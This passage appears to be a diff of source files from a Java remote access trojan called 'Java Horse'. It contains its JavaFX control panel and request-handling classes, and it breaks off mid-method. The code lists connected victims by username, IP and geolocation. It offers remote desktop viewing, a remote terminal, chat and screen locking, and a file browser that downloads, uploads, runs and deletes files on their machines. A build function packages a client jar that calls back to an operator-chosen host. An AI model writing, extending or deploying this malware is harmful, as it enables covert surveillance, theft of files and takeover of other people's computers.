import greek.horse.models.FunctionTicket;
import greek.horse.server.troyStructure.TroyPlebe;
import org.apache.log4j.Logger;
import java.util.Collections;
import java.util.List;
import java.util.concurrent.atomic.AtomicBoolean;
public class UniqueTroyRequest implements TroyRequest {
private final TroyPlebe father;
private final Object sendObj;
private final FunctionTicket ticket;
private volatile Object receivedObj;
private final AtomicBoolean sent = new AtomicBoolean(false);
private final boolean haveResponse;
private static final Logger log = Logger.getLogger(UniqueTroyRequest.class);
public UniqueTroyRequest(TroyPlebe father, Object sendObj, RequestFunction f, boolean haveResponse) {
this.father = father;
this.sendObj = sendObj;
this.ticket = new FunctionTicket(f, String.valueOf(System.currentTimeMillis()) + sendObj.hashCode(), false);
this.haveResponse = haveResponse;
}
@Override
public Object getSendObj() {
return sendObj;
}
@Override
public synchronized void addReceivedObj(Object receivedObj) {
this.receivedObj = receivedObj;
}
@Override
public AtomicBoolean getSent() {
return sent;
}
@Override
public FunctionTicket getTicket() {
return ticket;
}
@Override
public List<Object> getReceivedObjs() throws Exception{
return Collections.singletonList(getReceivedObj());
}
public Object getReceivedObj() throws Exception{
try {
while (haveResponse ? (this.receivedObj == null) : (this.sent.get())) {
if (!father.haveRequest(this) || !father.getRunning().get()) {
father.removeRequest(this);
break;
}
Thread.sleep(50);
}
father.removeRequest(this);
return receivedObj;
} catch (Exception e){
log.error(e);
return null;
}
}
}

229
src/main/java/greek/horse/server/ui/ChatApp.java

@ -0,0 +1,229 @@
package greek.horse.server.ui;
import greek.horse.test.Test;
import greek.horse.server.ui.controllers.HorseController;
import greek.horse.server.ui.controllers.MonitorDesktopController;
import javafx.application.Application;
import javafx.application.Platform;
import javafx.embed.swing.JFXPanel;
import javafx.embed.swing.SwingFXUtils;
import javafx.fxml.FXMLLoader;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.scene.control.Alert;
import javafx.scene.control.Label;
import javafx.scene.control.TextArea;
import javafx.scene.image.Image;
import javafx.scene.layout.GridPane;
import javafx.scene.layout.Priority;
import javafx.stage.Modality;
import javafx.stage.Stage;
import net.coobird.thumbnailator.Thumbnailator;
import net.coobird.thumbnailator.Thumbnails;
import org.apache.log4j.Logger;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.net.URISyntaxException;
import java.net.URL;
import java.security.CodeSource;
import java.util.*;
import java.util.concurrent.ConcurrentHashMap;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
public class ChatApp extends Application {
private HorseController controller;
public static Image appIcon = new Image(ChatApp.class.getClassLoader().getResource("images/icon.png").toString());
public static final ConcurrentHashMap<String, Image> imgs = new ConcurrentHashMap<>();
private static final Logger log = Logger.getLogger(MonitorDesktopController.class);
public static void main(String[] args) throws URISyntaxException, IOException {
loadImages();
launch(args);
}
@Override
public void start(Stage primaryStage) throws Exception {
try {
primaryStage.setTitle("Java Horse");
primaryStage.getIcons().add(appIcon);
primaryStage.setResizable(false);
FXMLLoader loader = new FXMLLoader(getClass().getClassLoader().getResource("scenes/horse.fxml"));
Parent root = loader.load();
Scene scene = new Scene(root);
primaryStage.setScene(scene);
primaryStage.setResizable(true);
primaryStage.show();
controller = loader.getController();
controller.setStage(primaryStage);
primaryStage.setOnCloseRequest(e -> {
controller.stopServer();
System.exit(1);
});
} catch (Exception ex) {
exceptionAlert(ex, primaryStage);
}
new Thread(() -> {
while (primaryStage.isShowing()) {
System.gc();
try {
Thread.sleep(15 * 1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}).start();
}
public static void exceptionAlert(Exception ex, Stage stage) {
log.error("exception alert: " + ex);
// ex.printStackTrace();
Platform.runLater(() -> {
Alert alert = new Alert(Alert.AlertType.ERROR);
alert.setTitle("Exception Stack");
alert.setHeaderText("An Exception was thrown");
alert.setContentText("This is a very unusual and severe error. Please send the stack trace in the text box below to the developer, this helps to improve the tool.");
alert.initModality(Modality.APPLICATION_MODAL);
if (stage != null) {
alert.initOwner(stage);
}
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter(sw);
ex.printStackTrace(pw);
String exceptionText = sw.toString();
Label label = new Label("The exception stacktrace was:");
TextArea textArea = new TextArea(exceptionText);
textArea.setEditable(false);
textArea.setWrapText(true);
textArea.setMaxWidth(Double.MAX_VALUE);
textArea.setMaxHeight(Double.MAX_VALUE);
GridPane.setVgrow(textArea, Priority.ALWAYS);
GridPane.setHgrow(textArea, Priority.ALWAYS);
GridPane expContent = new GridPane();
expContent.setMaxWidth(Double.MAX_VALUE);
expContent.add(label, 0, 0);
expContent.add(textArea, 0, 1);
alert.getDialogPane().setExpandableContent(expContent);
ex.printStackTrace();
alert.showAndWait();
System.exit(1);
});
}
private static void loadImages() {
try {
new JFXPanel(); // just to load internal components, i was getting some weird errors
List<String> list = new ArrayList<>();
// Jar mode
CodeSource src = ChatApp.class.getProtectionDomain().getCodeSource();
if (src != null) {
URL jar = src.getLocation();
ZipInputStream zip = new ZipInputStream(jar.openStream());
ZipEntry ze;
while ((ze = zip.getNextEntry()) != null) {
String entryName = ze.getName();
if ((entryName.startsWith("images/flags") || entryName.startsWith("images/diverse"))
&& entryName.endsWith(".png")) {
list.add(entryName);
}
}
}
list.forEach(s -> {
imgs.put(s.split("/")[2], new Image(s));
});
//Debugger mode
if (list.isEmpty()) {
for (URL resource :
Arrays.asList(Test.class.getClassLoader().getResource("images/flags"), Test.class.getClassLoader().getResource("images/diverse"))) {
File path = new File(resource.toURI());
File[] files = path.listFiles();
List<File> l = Arrays.asList(files);
for (File f : l) {
list.add(f.getPath());
}
list.forEach(s -> {
imgs.put(s.split("\\\\")[s.split("\\\\").length - 1], new Image(new File(s).toURI().toString()));
});
}
}
} catch (Exception e) {
log.error("Error loading images: ", e);
}
}
public static BufferedImage getImage(String imageName, double scale) {
try {
Optional<String> first = ChatApp.imgs.keySet().stream()
.filter(s -> s.toLowerCase(Locale.ROOT)
.contains(imageName
.toLowerCase(Locale.ROOT)
.replaceAll(" ", "-")) && s.contains(".")
).findFirst();
if (first.isPresent()) {
String key = first.get();
BufferedImage bufferedImage = SwingFXUtils
.fromFXImage(ChatApp.imgs.get(key), null);
return Thumbnails.of(bufferedImage)
.scale(scale)
.asBufferedImage();
} else {
String key = ChatApp.imgs.keySet().stream().filter(s -> s.toLowerCase(Locale.ROOT).contains("notfound")).findFirst().get();
BufferedImage bufferedImage = SwingFXUtils.fromFXImage(ChatApp.imgs.get(key), null);
return Thumbnails.of(bufferedImage).scale(scale).asBufferedImage();
}
} catch (IOException e) {
e.printStackTrace();
log.error("Error treating image: ", e);
}
return null;
}
public static BufferedImage getImage(String imageName, double scale, int x, int y, int w, int h) {
try {
Optional<String> first = ChatApp.imgs.keySet().stream()
.filter(s -> s.toLowerCase(Locale.ROOT)
.contains(imageName
.toLowerCase(Locale.ROOT)
.replaceAll(" ", "-")) && s.contains(".")
).findFirst();
if (first.isPresent()) {
String key = first.get();
BufferedImage bufferedImage = SwingFXUtils.fromFXImage(ChatApp.imgs.get(key), null).getSubimage(x, y, w, h);
return Thumbnails.of(bufferedImage).scale(scale).asBufferedImage();
} else {
String key = ChatApp.imgs.keySet().stream().filter(s -> s.toLowerCase(Locale.ROOT).contains("notfound")).findFirst().get();
BufferedImage bufferedImage = Thumbnails.of(SwingFXUtils.fromFXImage(ChatApp.imgs.get(key), null)).forceSize(w, h).asBufferedImage();
return Thumbnails.of(bufferedImage).scale(scale).asBufferedImage();
}
} catch (IOException e) {
e.printStackTrace();
log.error("Error treating image: ", e);
}
return null;
}
}

13
src/main/java/greek/horse/server/ui/Launcher.java

@ -0,0 +1,13 @@
package greek.horse.server.ui;
import javafx.embed.swing.JFXPanel;
import java.io.IOException;
import java.net.URISyntaxException;
public class Launcher {
public static void main(String[] args) throws URISyntaxException, IOException {
new JFXPanel();
ChatApp.main(args);
}
}

76
src/main/java/greek/horse/server/ui/controllers/ChatController.java

@ -0,0 +1,76 @@
package greek.horse.server.ui.controllers;
import greek.horse.models.MessageType;
import greek.horse.server.troyStructure.TroyPlebe;
import javafx.application.Platform;
import javafx.event.ActionEvent;
import javafx.scene.control.ScrollPane;
import javafx.scene.control.TextField;
import javafx.scene.input.KeyCode;
import javafx.scene.paint.Color;
import javafx.scene.text.*;
import javafx.stage.Stage;
public class ChatController {
public ScrollPane scrollPane;
public TextFlow textFlow;
public TextField textFieldMessage;
private TroyPlebe plebe;
private Stage stage;
public void begin() {
scrollPane.vvalueProperty().bind(textFlow.heightProperty());
textFieldMessage.setOnKeyPressed(e -> {
if (e.getCode().equals(KeyCode.ENTER)) {
sendMessage();
}
});
sendMessage("Connected");
}
private void sendMessage() {
sendMessage(textFieldMessage.getText());
}
private void sendMessage(String message) {
if (message.isEmpty()) {
return;
}
this.plebe.sendChatMessage(message);
addTextLine(MessageType.SELF, message, MessageType.SERVER);
textFieldMessage.setText("");
}
public void addTextLine(String name, String text, MessageType type) {
Text nameText = new Text(name);
Text messageText = new Text(" > " + text.replaceAll("\n", "").replaceAll("\r", "").concat("\n"));
switch (type) {
case CLIENT -> nameText.setFill(Color.BLUE);
case SERVER -> nameText.setFill(Color.rgb(200, 0, 0));
}
nameText.setFont(Font.font("System", FontWeight.NORMAL, FontPosture.REGULAR, 16));
messageText.setFont(Font.font("System", FontWeight.NORMAL, FontPosture.REGULAR, 16));
Platform.runLater(() -> {
textFlow.getChildren().addAll(nameText, messageText);
});
}
public void sendBtn(ActionEvent event) {
sendMessage();
}
public Stage getStage() {
return stage;
}
public void setPlebe(TroyPlebe plebe) {
this.plebe = plebe;
}
public void setStage(Stage stage) {
this.stage = stage;
}
}

376
src/main/java/greek/horse/server/ui/controllers/FileBrowserController.java

@ -0,0 +1,376 @@
package greek.horse.server.ui.controllers;
import greek.horse.models.FileBrowserResponseWrapper;
import greek.horse.models.FileStruct;
import greek.horse.models.TableFile;
import greek.horse.server.troyStructure.TroyPlebe;
import greek.horse.server.ui.formmaters.FileRowsFactory;
import greek.horse.server.ui.formmaters.FormattedTableCellFactory;
import javafx.application.Platform;
import javafx.event.ActionEvent;
import javafx.scene.control.Label;
import javafx.scene.control.TextField;
import javafx.scene.control.*;
import javafx.scene.image.ImageView;
import javafx.scene.input.KeyCode;
import javafx.scene.input.KeyEvent;
import javafx.scene.paint.Color;
import javafx.scene.text.Font;
import javafx.scene.text.TextAlignment;
import javafx.stage.DirectoryChooser;
import javafx.stage.FileChooser;
import javafx.stage.Stage;
import javafx.util.Duration;
import org.apache.log4j.Logger;
import org.jetbrains.annotations.NotNull;
import javax.swing.filechooser.FileSystemView;
import java.awt.*;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.ArrayList;
import java.util.List;
import java.util.Optional;
import java.util.stream.Collectors;
public class FileBrowserController {
public TextField pathTextField;
public TableView<TableFile> listTable;
public TableView<TableFile> drivesTable;
public TableColumn<TableFile, ImageView> iconDrivesColumn;
public TableColumn<TableFile, ImageView> iconListColumn;
public TableColumn<TableFile, String> nameDriveColumn;
public TableColumn<TableFile, String> nameListColumn;
public TableColumn<TableFile, String> sizeListColumn;
public TableColumn<TableFile, String> sizeDrivesColumn;
public Label statusLabel;
private TroyPlebe plebe;
private Stage stage;
private final ArrayList<TableFile> knownFolders = new ArrayList<>();
private Path tempFolder;
private Path actualPath;
private static final Logger log = Logger.getLogger(FileBrowserController.class);
private String title;
public void loadFolder(Path dir) {
try {
Object future = this.plebe.getFiles(dir).getReceivedObj();
FileBrowserResponseWrapper wrapper = (FileBrowserResponseWrapper) future;
if (setLabelFromWrapper(wrapper)) {
return;
}
pathTextField.setText(dir.toString());
pathTextField.setDisable(false);
List<TableFile> tableFilesList = getTableFileList(wrapper.getList());
listTable.getItems().clear();
if (dir.getParent() != null) {
listTable.getItems().add(new TableFile(new FileStruct("..", 0, dir.getParent().toString(), false, true)));
}
this.actualPath = dir;
listTable.getItems().addAll(tableFilesList);
} catch (Exception e) {
log.error("Error loading folder: ", e);
setStatusLabel(e.getClass().getSimpleName() + ": " + e.getLocalizedMessage(), Color.RED);
}
}
@NotNull
private List<TableFile> getTableFileList(List<FileStruct> list) {
return list.stream().map(TableFile::new).collect(Collectors.toList());
}
private void loadDrives() {
try {
Object drives = this.plebe.getDrives().getReceivedObj();
List<TableFile> drivesList = getTableFileList((List<FileStruct>) drives);
drivesTable.getItems().clear();
drivesTable.getItems().addAll(drivesList);
} catch (Exception e) {
log.error("Error loading drives", e);
}
}
public void runFromRow(TableRow<TableFile> row) {
try {
Object resp = this.plebe.runFile(getPathFromRow(row)).getReceivedObj();
FileBrowserResponseWrapper wrapper = (FileBrowserResponseWrapper) resp;
setLabelFromWrapper(wrapper);
} catch (Exception e) {
log.error("Error loading from row: ", e);
}
}
public void uploadAction(Path path, boolean tryToGetParent) {
FileChooser chooser = new FileChooser();
chooser.setTitle("Choose file to upload");
chooser.setInitialDirectory(FileSystemView.getFileSystemView().getHomeDirectory());
File file = chooser.showOpenDialog(stage);
if (file == null) {
setStatusLabel("No file was chosen", Color.RED);
return;
}
Path folder = path.getParent();
if (!tryToGetParent || folder == null) {
folder = path;
}
byte[] bytes;
try {
bytes = Files.readAllBytes(Path.of(file.toURI()));
} catch (IOException e) {
log.error("Error reading file: ", e);
return;
}
try {
Object resp = this.plebe.uploadFile(folder, file.getName(), bytes).getReceivedObj();
FileBrowserResponseWrapper wrapper = (FileBrowserResponseWrapper) resp;
setLabelFromWrapper(wrapper);
loadFromTextField();
} catch (Exception e) {
log.error("Error uploading file: ", e);
}
}
public void deleteFromRow(TableRow<TableFile> row) {
try {
Path path = getPathFromRow(row);
if (getUserConfirmation(path.toString())) {
try {
FileBrowserResponseWrapper wrapper = (FileBrowserResponseWrapper) this.plebe.deleteFile(path).getReceivedObj();
setLabelFromWrapper(wrapper);
loadFromTextField();
} catch (Exception e) {
log.error("Error deleting file: ", e);
}
} else {
setStatusLabel("Nothing done. Deletion aborted.", Color.BLACK);
}
} catch (Exception e) {
log.error("Error deleting file", e);
}
}
private void formatContent() {
drivesTable.getColumns().forEach(c -> c.setCellFactory(new FormattedTableCellFactory<>()));
listTable.getColumns().forEach(c -> c.setCellFactory(new FormattedTableCellFactory<>()));
nameListColumn.setCellFactory(new FormattedTableCellFactory<>(TextAlignment.LEFT));
nameDriveColumn.setCellFactory(new FormattedTableCellFactory<>(TextAlignment.LEFT));
iconDrivesColumn.setCellValueFactory(c -> {
// log.info(c.getValue());
return c.getValue().iconProperty();
});
iconListColumn.setCellValueFactory(c -> c.getValue().iconProperty());
nameDriveColumn.setCellValueFactory(c -> c.getValue().nameProperty());
nameListColumn.setCellValueFactory(c -> c.getValue().nameProperty());
sizeListColumn.setCellValueFactory(c -> c.getValue().sizeProperty());
sizeDrivesColumn.setCellValueFactory(c -> c.getValue().sizeProperty());
drivesTable.setRowFactory(new FileRowsFactory(this, true));
listTable.setRowFactory(new FileRowsFactory(this, false));
statusLabel.setOnMouseEntered(event -> {
Tooltip tp = new Tooltip(statusLabel.getText());
tp.setShowDuration(Duration.INDEFINITE);
tp.setShowDelay(Duration.ZERO);
tp.setFont(Font.font(14));
statusLabel.setTooltip(new Tooltip(statusLabel.getText()));
});
loadDrives();
gotoHUB(null);
}
private boolean setLabelFromWrapper(FileBrowserResponseWrapper wrapper) {
if (wrapper.isError()) {
setStatusLabel(wrapper.getDescription(), Color.RED);
return true;
} else {
setStatusLabel("OK", Color.BLACK);
return false;
}
}
public void setStatusLabel(String text, Color color) {
Platform.runLater(() -> {
statusLabel.setText(text);
statusLabel.setTextFill(color);
});
}
public void begin() {
new Thread(this::formatContent).start();
}
public void loadFolderFromRow(TableRow<TableFile> row) {
try {
loadFolder(getPathFromRow(row));
} catch (Exception e) {
log.error("Error loading from row: ", e);
}
}
private Path getPathFromRow(TableRow<TableFile> row) {
return row.getItem().getPath();
}
public void enterDetection(KeyEvent keyEvent) {
if (keyEvent.getCode().equals(KeyCode.ENTER)) {
loadFromTextField();
}
}
public void loadFromTextField() {
loadFolder(actualPath);
}
public void uploadFromRow(TableRow<TableFile> row) {
Path path;
boolean getParent;
try {
path = getPathFromRow(row);
getParent = true;
} catch (Exception e) {
log.warn("Failed to get row URI, using actualPath");
if (actualPath == null) {
log.error("Failed to upload file", e);
return;
} else {
path = actualPath;
getParent = false;
}
}
uploadAction(path, getParent);
}
public void gotoHUB(ActionEvent event) {
try {
if (knownFolders.size() != 0) {
listTable.getItems().clear();
listTable.getItems().addAll(knownFolders);
} else {
FileBrowserResponseWrapper wrapper = (FileBrowserResponseWrapper) this.plebe.getKnownFolders().getReceivedObj();
listTable.getItems().clear();
listTable.getItems().addAll(getTableFileList(wrapper.getList()));
knownFolders.addAll(getTableFileList(wrapper.getList()));
}
pathTextField.setText("HUB");
actualPath = null;
} catch (Exception e) {
log.error("Error loading HUB: ", e);
}
}
private boolean getUserConfirmation(String displayPath) {
Alert alert = new Alert(Alert.AlertType.CONFIRMATION);
alert.setTitle("Confirmation");
alert.setHeaderText("Are you sure?");
alert.setContentText("The file/directory \"" + displayPath + "\" will be permanently deleted.");
alert.initOwner(stage);
alert.getButtonTypes().clear();
alert.getButtonTypes().addAll(ButtonType.YES, ButtonType.CANCEL);
Optional<ButtonType> buttonType = alert.showAndWait();
return buttonType.isPresent() && buttonType.get().equals(ButtonType.YES);
}
public void downloadFromRow(TableRow<TableFile> row) {
try {
Path path = getPathFromRow(row);
DirectoryChooser chooser = new DirectoryChooser();
chooser.setTitle("Choose folder to save");
chooser.setInitialDirectory(FileSystemView.getFileSystemView().getHomeDirectory());
File dir = chooser.showDialog(stage);
if (dir == null) {
setStatusLabel("No folder was chosen", Color.RED);
return;
}
downloadAction(path, Path.of(dir.toURI()));
} catch (Exception e) {
log.error("Error downloading file", e);
}
}
private Path downloadAction(Path path, Path directoryUri) {
try {
FileBrowserResponseWrapper wrapper = (FileBrowserResponseWrapper) this.plebe.downloadFile(path).getReceivedObj();
setLabelFromWrapper(wrapper);
if (wrapper.isError()) {
return null;
}
Path file = Path.of(directoryUri.toString() + File.separator + this.title + " - " + wrapper.getFileData().getFileName());
Files.write(file, wrapper.getFileData().getFileBytes());
return file;
} catch (Exception e) {
log.error("Error downloading file: ", e);
}
return null;
}
public void openFromRow(TableRow<TableFile> row) {
try {
Path path = getPathFromRow(row);
Path dir = getTempDir();
Path file = downloadAction(path, dir);
Desktop.getDesktop().open(file.toFile());
} catch (Exception e) {
log.error("Error opening file", e);
}
}
private Path getTempDir() {
try {
if (this.tempFolder == null) {
this.tempFolder = Files.createTempDirectory("temp_");
}
return tempFolder;
} catch (Exception e) {
log.error("Error getting temp folder: ", e);
return null;
}
}
public Stage getStage() {
return stage;
}
public void setStage(Stage stage) {
this.stage = stage;
}
public void setPlebe(TroyPlebe plebe) {
this.plebe = plebe;
}
public void setTitle(String title) {
this.title = title;
}
}

405
src/main/java/greek/horse/server/ui/controllers/HorseController.java

@ -0,0 +1,405 @@
package greek.horse.server.ui.controllers;
import greek.horse.models.NetInfo;
import greek.horse.server.troyStructure.NetInfoTable;
import greek.horse.server.troyStructure.TroyPlebe;
import greek.horse.server.troyStructure.TroyServer;
import greek.horse.server.ui.ChatApp;
import greek.horse.server.ui.controllers.tasks.BuildJarTask;
import greek.horse.server.ui.controllers.tasks.FileBrowserTask;
import greek.horse.server.ui.formmaters.FormattedTableCellFactory;
import greek.horse.server.ui.formmaters.HorseRowFactory;
import javafx.collections.ListChangeListener;
import javafx.collections.ObservableList;
import javafx.event.ActionEvent;
import javafx.geometry.Insets;
import javafx.scene.control.*;
import javafx.scene.image.ImageView;
import javafx.scene.layout.*;
import javafx.scene.paint.Color;
import javafx.scene.text.*;
import javafx.stage.FileChooser;
import javafx.stage.Modality;
import javafx.stage.Stage;
import org.apache.log4j.Logger;
import javax.swing.filechooser.FileSystemView;
import java.io.File;
import java.net.URL;
import java.security.CodeSource;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Locale;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
public class HorseController {
public TableColumn<NetInfoTable, String> userNameColumn;
public TableColumn<NetInfoTable, String> ipColumn;
public TableColumn<NetInfoTable, String> countryColumn;
public TableColumn<NetInfoTable, String> regionColumn;
public TableColumn<NetInfoTable, String> cityColumn;
public TableColumn<NetInfoTable, ImageView> flagColumn;
public TextField portStart;
public TableColumn<NetInfoTable, String> ispColumn;
public TableColumn<NetInfoTable, String> osColumn;
public TableView<NetInfoTable> tableView;
public TableColumn<NetInfoTable, String> bigOsColumn;
public TextField portBuild;
public TextField hostBuild;
public Button buildBtn;
public ToggleButton startBtn;
private Stage stage;
private TroyServer troyServer;
private static final Logger log = Logger.getLogger(HorseController.class);
private final ExecutorService threadPool = Executors.newCachedThreadPool();
public void startAction(ActionEvent actionEvent) {
ToggleButton b = (ToggleButton) actionEvent.getSource();
if (!b.isSelected()) {
turnOff(b);
} else {
turnOn(b);
}
}
private void turnOff(ToggleButton b) {
b.setTextFill(Color.BLACK);
portStart.setDisable(false);
stopServer();
}
public void stopServer() {
if (this.troyServer != null) {
this.troyServer.isActive().set(false);
this.troyServer.getPlebes().forEach(ple -> {
try {
ple.getDisconnect().getReceivedObjs(); // .getReceivedObjs() just locks the code here, since client wont answer if disconnected
} catch (Exception ignored) {
}
});
this.troyServer.stop();
}
}
private void turnOn(ToggleButton b) {
String port = portStart.getText();
portStart.setDisable(true);
if (!port.matches("[0-9]+") || Integer.parseInt(port) > 65535 || Integer.parseInt(port) < 1) {
showDialog("An invalid port was chosen", "Ooops, looks like the port typed was invalid. Try again.", Alert.AlertType.ERROR);
b.setSelected(false);
portStart.setText("");
portStart.setDisable(false);
return;
}
b.setTextFill(Color.BLUE);
startServer(Integer.parseInt(port));
}
private void startServer(int port) {
this.troyServer = new TroyServer(port, this);
threadPool.execute(this.troyServer);
System.gc();
startTable();
}
private void startTable() {
ObservableList<TroyPlebe> plebeObservableList = this.troyServer.getPlebes();
// for (int i = 0; i < 10; i++) {
// tableView.getItems().add(new NetInfoTable(new NetInfo("Robert", OS.WINDOWS, "Windows 10", "DESKTOP-DGSDF", "192.168.0.1", "200.98.134.27", "Brazil", "Sao Paulo", "Sao Paulo", "America/Sao_Paulo", "Universo Online S.A.", "Universo Online S.A.", "AS7162 Universo Online S.A."), new TroyPlebe("skibidi")));
// tableView.getItems().add(new NetInfoTable(new NetInfo("Lorem", OS.UNIX, "Fedora 35", "SERVER-WSJDN", "192.168.43.1", "104.244.72.248", "Luxembourg", "Mersch", "Roost", "Europe/Luxembourg", "FranTech Solutions", "BuyVM", "AS53667 FranTech Solutions"), new TroyPlebe("skibidi")));
// tableView.getItems().add(new NetInfoTable(new NetInfo("Yuri", OS.MAC, "MacOs X", "DESKTOP-WSJDN", "192.168.13.1", "207.188.139.168", "Spain", "Extremadura", "Badajoz", "Europe/Madrid", "Xtra Telecom S.A", "Xtra Telecom S.A", "AS15704 XTRA TELECOM S.A."), new TroyPlebe("skibidi")));
// tableView.getItems().add(new NetInfoTable(new NetInfo("Jonah", OS.UNIX, "Mint 20.2", "SERVER-WSJDN", "192.168.1.1", "46.29.248.238", "Sweden", "Stockholm County", "Stockholm", "Europe/Stockholm", "Inter Connects Inc", "Sweden", "AS57858 Inter Connects Inc"), new TroyPlebe("skibidi")));
// tableView.getItems().add(new NetInfoTable(new NetInfo("Gabriel", OS.UNKNOWN, "Temple OS 5.03", "DESKTOP-WSJDN", "192.168.15.1", "45.137.184.31", "Netherlands", "North Holland", "Amsterdam", "Europe/Amsterdam", "NL-MOTP", "", "AS41047 Bart Vrancken trading as MLaB"), new TroyPlebe("skibidi")));
// }
plebeObservableList.addListener((ListChangeListener<TroyPlebe>) lis -> {
while (lis.next()) {
lis.getAddedSubList().parallelStream().forEach(tp ->
threadPool.execute(() -> {
try {
NetInfo netInfo = (NetInfo) tp.getNetInfo().getReceivedObj();
if (netInfo != null) {
tableView.getItems().add(new NetInfoTable(netInfo, tp));
tp.setTitle(netInfo.getUserName() + "@" + netInfo.getExternalIP());
}
} catch (Exception e) {
e.printStackTrace();
}
}));
ArrayList<NetInfoTable> nits = new ArrayList<>();
lis.getRemoved().parallelStream().forEach(tp ->
tableView.getItems().parallelStream()
.filter(t -> t.getFather().equals(tp))
.forEach(nits::add));
nits.forEach(t -> tableView.getItems().remove(t));
}
});
formatTable();
}
private void formatTable() {
tableView.getColumns().forEach(c -> c.setCellFactory(new FormattedTableCellFactory<>()));
flagColumn.setCellValueFactory(c -> c.getValue().imageProperty());
userNameColumn.setCellValueFactory(c -> c.getValue().userNameProperty());
ipColumn.setCellValueFactory(c -> c.getValue().ipProperty());
countryColumn.setCellValueFactory(c -> c.getValue().countryProperty());
regionColumn.setCellValueFactory(c -> c.getValue().regionProperty());
cityColumn.setCellValueFactory(c -> c.getValue().cityProperty());
ispColumn.setCellValueFactory(c -> c.getValue().ispProperty());
osColumn.setCellValueFactory(c -> c.getValue().osProperty());
bigOsColumn.setCellValueFactory(c -> c.getValue().bigOsProperty());
tableView.setRowFactory(new HorseRowFactory(this));
}
public void showDialog(String headerText, String contentText, Alert.AlertType type) {
Alert alert = new Alert(type);
alert.setTitle(type.toString().substring(0, 1).toUpperCase() + type.toString().substring(1).toLowerCase(Locale.ROOT));
alert.initOwner(this.stage);
alert.initModality(Modality.APPLICATION_MODAL);
alert.setHeaderText(headerText);
alert.setContentText(contentText);
alert.showAndWait();
}
public void setStage(Stage stage) {
this.stage = stage;
}
public void contextDesktop(TableRow<NetInfoTable> row) {
try {
TroyPlebe tp = row.getItem().getFather();
boolean running = tp.getMonitorDesktopTask().getRunning().get();
if (!running) {
tp.getMonitorDesktopTask().getRunning().set(true);
threadPool.execute(tp.getMonitorDesktopTask());
}
} catch (Exception e) {
log.error("Error getting info from row: ", e);
}
}
public void contextFilesBrowser(TableRow<NetInfoTable> row) {
try {
TroyPlebe tp = row.getItem().getFather();
threadPool.execute(new FileBrowserTask(tp));
} catch (Exception e) {
log.error("Error getting info from row: ", e);
}
}
public void contextDisconnect(TableRow<NetInfoTable> row) {
try {
TroyPlebe tp = row.getItem().getFather();
threadPool.execute(tp::getDisconnect);
} catch (Exception e) {
log.error("Error getting info from row: ", e);
}
}
public void contextLock(TableRow<NetInfoTable> row, boolean lock) {
try {
TroyPlebe tp = row.getItem().getFather();
threadPool.execute(() -> tp.doToggleLock(lock));
} catch (Exception e) {
log.error("Error starting context from row: ", e);
}
}
public void contextStop(TableRow<NetInfoTable> row) {
try {
TroyPlebe tp = row.getItem().getFather();
threadPool.execute(tp::doStop);
} catch (Exception e) {
log.error("Error starting context from row: ", e);
}
}
public void buildBtn(ActionEvent event) {
String host = hostBuild.getText();
if (host.isEmpty() || host.contains(" ")) {
showDialog("Host address is invalid", "Something is wrong, fix and try it again.", Alert.AlertType.ERROR);
return;
}
String port = portBuild.getText();
if (port.isEmpty() || !port.matches("[0-9]+") || Integer.parseInt(port) > 65535 || Integer.parseInt(port) < 1) {
showDialog("Port number is invalid", "Something is wrong, fix and try it again.", Alert.AlertType.ERROR);
return;
}
CodeSource src = ChatApp.class.getProtectionDomain().getCodeSource();
URL jar = src.getLocation();
if (!jar.getFile().contains(".jar")) {
showDialog("Can't access jar", "To build the client, it's necessary to run this horse from the .jar version. To build it, use something like: 'compile package -Dmy.mainClass=greek.horse.server.ui.Launcher'", Alert.AlertType.ERROR);
return;
}
FileChooser fileChooser = new FileChooser();
fileChooser.setInitialDirectory(FileSystemView.getFileSystemView().getHomeDirectory());
fileChooser.getExtensionFilters().add(new FileChooser.ExtensionFilter("Jar file", "*.jar"));
File saveFile = fileChooser.showSaveDialog(stage);
if (saveFile == null || saveFile.exists()) {
showDialog("Invalid save location", "Make sure the file doesn't exist (overwriting is not supported), and that you haven't just closed the ask dialog (you need to choose something)", Alert.AlertType.ERROR);
return;
}
BuildJarTask buildTask = new BuildJarTask(saveFile, this, host, port);
threadPool.execute(buildTask);
this.buildBtn.setDisable(true);
showDialog("Wait until done", "The jar is being built in the background. You'll be notified when it's done.", Alert.AlertType.WARNING);
}
public void contextChat(TableRow<NetInfoTable> row) {
try {
TroyPlebe tp = row.getItem().getFather();
boolean running = tp.getChatTask().getRunning().get();
if (!running) {
tp.getChatTask().getRunning().set(true);
threadPool.execute(tp.getChatTask());
}
} catch (Exception e) {
log.error("Error getting info from row: ", e);
}
}
public void contextTerminal(TableRow<NetInfoTable> row) {
try {
TroyPlebe tp = row.getItem().getFather();
boolean running = tp.getTerminalTask().getRunning().get();
if (!running) {
tp.getTerminalTask().getRunning().set(true);
threadPool.execute(tp.getTerminalTask());
}
} catch (Exception e) {
log.error("Error getting info from row: ", e);
}
}
public void contextFullData(TableRow<NetInfoTable> row) {
try {
TroyPlebe tp = row.getItem().getFather();
Alert alert = new Alert(Alert.AlertType.INFORMATION);
alert.setTitle("Full data - " + tp.getTitle());
alert.initOwner(stage);
alert.initModality(Modality.WINDOW_MODAL);
NetInfo netInfo = (NetInfo) tp.getNetInfo().getReceivedObj();
List<String> names = Arrays.asList(
"User name: ",
"OS: ",
"Big OS: ",
"Host name: ",
"Local IP: ",
"External IP: ",
"Country: ",
"Region: ",
"City: ",
"Time zone: ",
"ISP: ",
"ORG: ",
"AS: "
);
List<String> values = Arrays.asList(
netInfo.getUserName(),
netInfo.getOs().toString(),
netInfo.getBigOs(),
netInfo.getHostName(),
netInfo.getLocalIP(),
netInfo.getExternalIP(),
netInfo.getCountry(),
netInfo.getRegion(),
netInfo.getCity(),
netInfo.getTimeZone(),
netInfo.getIsp(),
netInfo.getOrg(),
netInfo.getAs()
);
TextFlow textFlow = new TextFlow();
